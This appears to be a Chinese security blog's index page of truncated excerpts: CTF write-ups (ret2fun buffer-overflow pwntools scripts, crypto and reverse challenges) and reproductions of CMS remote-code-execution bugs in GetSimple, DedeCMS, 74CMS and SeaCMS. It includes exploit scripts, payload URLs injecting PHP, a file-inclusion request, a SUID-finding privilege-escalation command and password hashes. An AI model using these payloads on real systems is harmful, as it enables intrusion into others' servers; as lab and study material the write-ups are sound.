【青少年CTF】PWN-刷题记录-ret2fun
题目信息题目名称:ret2fun 解题步骤 其实和ret2fun一样,但是没有栈对齐了,是32位 代码也一样,我就不贴了(其实应该先做这个题的) fun地址为0x080484cd 在 32 位架构下,寄存器宽度为 4 字节(64 位为 8 字节)。根据题目逻辑,我们需要覆盖局部变量和 Saved EBP 才能控制返回地址。 \text{Padding} = \text{Buffer} + \text{Saved EBP}Buffer: 16 bytes Saved EBP: 4 bytes (32-bit width) Total Offset: 20 bytes 1234567891011from pwn import *elf = context.binary = ELF('./pwn')p = process(elf.path)fun_addr = 0x080484cdpayload = b'A' * 20 + p32(fun_addr)p.sendlineafter(b'please input:', pay...
【青少年CTF】PWN-刷题记录-ret2fun1
题目信息题目名称:ret2fun1 解题步骤 可以看到开了很多东西,64位小端序,没有栈溢出保护,NX先默认可执行,没有随机地址 入门小pwn 看到代码也是非常简单的 利用gets进行栈溢出,然后返回到fun的system fun的地址是401156 gdb也挺方便 16 字节用于填充 s 缓冲区。 8 字节是 RBP 保存区域。 所以,覆盖 RIP(返回地址)之前总共需要填充 24 字节。 先简单写个脚本: 123456789101112from pwn import *elf = context.binary = ELF('./ret2fun')p = process(elf.path)fun_addr = 0x401156payload = b'A' * 24 + p64(fun_addr)p.sendlineafter(b'please input:', payload)p.interactive() 可以看到好像拿到了shell?但是真的拿到了吗?如拿! 为什么这么说? 我们执行一下命令,比如ls ...
【漏洞分析】GetSimple-CMS-远程命令执行(CVE-2019-11231)
前言复现CMS:GetSimple CMS 复现版本:3.3.15 漏洞点1 xml信息泄露 访问:/data/users/admin.xml,可获得用户名、Hash后的密码、邮箱等信息。 题目仅给出了后台地址 hash的密码我们去解密一下 进入后台地址:http://challenge.qsnctf.com:35595/admin/ 编辑主题 执行完phpinfo即退出 访问:http://challenge.qsnctf.com:35595/theme/Innovation/template.php 但是很遗憾没有发现FLAG 还是回去改一下一句话木马,这个环境需要提权一下 1find / -perm -u=s -type f 2>/dev/null 使用find提权,读取/proc/1/environ拿到FALG
【漏洞分析】DEDECMS-V5.7SP2-5.7.107-后台RCE漏洞
前言复现CMS:DeDeCMS 复现版本:V5.7-SP2 漏洞点1 模块->文件管理器 DeDeCMS的文件管理器功能,支持文件上传 上传一个info.php 成功获取FLAG 漏洞点2 广告管理 添加后,查看调用代码 访问JS代码中给出的路径 那么如果是输出FLAG呢? 漏洞点3 后台任意代码执行 CVE-2018-7700 1/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field} 漏洞点4 sys_cache_up.php后台文件写入漏洞代码在/dede/sys_cache_up.php文件 36行处,由于可以操作文件内容,且文件内容是从数据库取值的,因此通过在数据库里写入内容,通过查询数据库将文件写入服务器。 使用下面请求将代码写入数据库: 1/dede/stepselect_main.php?action...
【漏洞分析】74CMS-骑士CMSV5.0.1后台远程代码执行漏洞分析
前言复现CMS:74CMS(骑士CMS) 复现版本:V5.0.1 漏洞点版本验证 网站后台底部拥有版本号 漏洞复现 1http://192.168.121.130/.',phpinfo(),'/.com 随后刷新界面即可看到phpinfo()信息 漏洞分析由于CMS版本较老,先复现了一下已公开的漏洞。根据请求反查找到: 123456789101112131415161718192021222324public function edit(){ if(IS_POST){ $site_domain = I('request.site_domain','','trim'); $site_domain = trim($site_domain,'/'); $site_dir = I('request.site_dir',C('qscms_site_dir&#...
【漏洞分析】SeaCMS_海洋CMS_V11 - 12.5后台代码执行漏洞
前言复现CMS:SeaCMS(海洋CMS) 复现版本:V11 地址:https://github.com/seacms-net/CMS/releases/tag/V11 根据代码相关内容,发现新版本理论(代码一致,尚未复现)仍然存在该漏洞。 漏洞点 admin_ip.php经过代码审计发现,POST参数v及ip均未使用任何过滤 也就是可以通过双引号闭合,配合php代码进行代码执行。 漏洞点 admin_notify.php 其实原理一致,都是没有进行过滤等操作 附赠一个本地文件包含 1234567891011121314151617GET /0mrht1/admin_safe.php?action=download&file=C:/windows/system.ini HTTP/1.1Host: localhostSec-Fetch-Site: noneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,...
【BUUCTF】REVERSE-刷题记录-luck_guy
题目信息 解题步骤IDA载入直接F5 观察一些函数 发现了关键点 123456789101112131415for (i = 0; i <= 4; ++i){ switch(rand() % 200) { case 1: // 打印 flag case 4: // 修改 f2(拼接到 flag 上的一部分) case 5: // 进一步修改 f2 ... default: // 大概率打印没 flag }}
【BUUCTF】CRYPTO-刷题记录-Windows系统密码
题目描述 解题步骤下载附件,得到一个hash文件1234Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56::: 这种格式称为 ntds.dit 导出格式 或 密码哈希文件(pass-the-hash)格式 1. Administrator NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 这是 空密码 的标准 NTLM 哈希 密码 = "&quo...
【BUUCTF】CRYPTO-刷题记录-rsarsa
题目描述 解题步骤下载附件,得到一个txt123456789Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm.p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407e = 65537c = 832082989951746...
【BUUCTF】CRYPTO-刷题记录-丢失的MD5
题目描述 解题步骤下载附件,得到:123456789import hashlib for i in range(32,127): for j in range(32,127): for k in range(32,127): m=hashlib.md5() m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM') des=m.hexdigest() if 'e9032' in des and 'da' in des and '911513' in des: print des 从代码来看,这是一个 CTF 中的 MD5 碰撞/爆破题。目标是: 在字符串 'TASC' + chr(i) + 'O3RJMV' +...








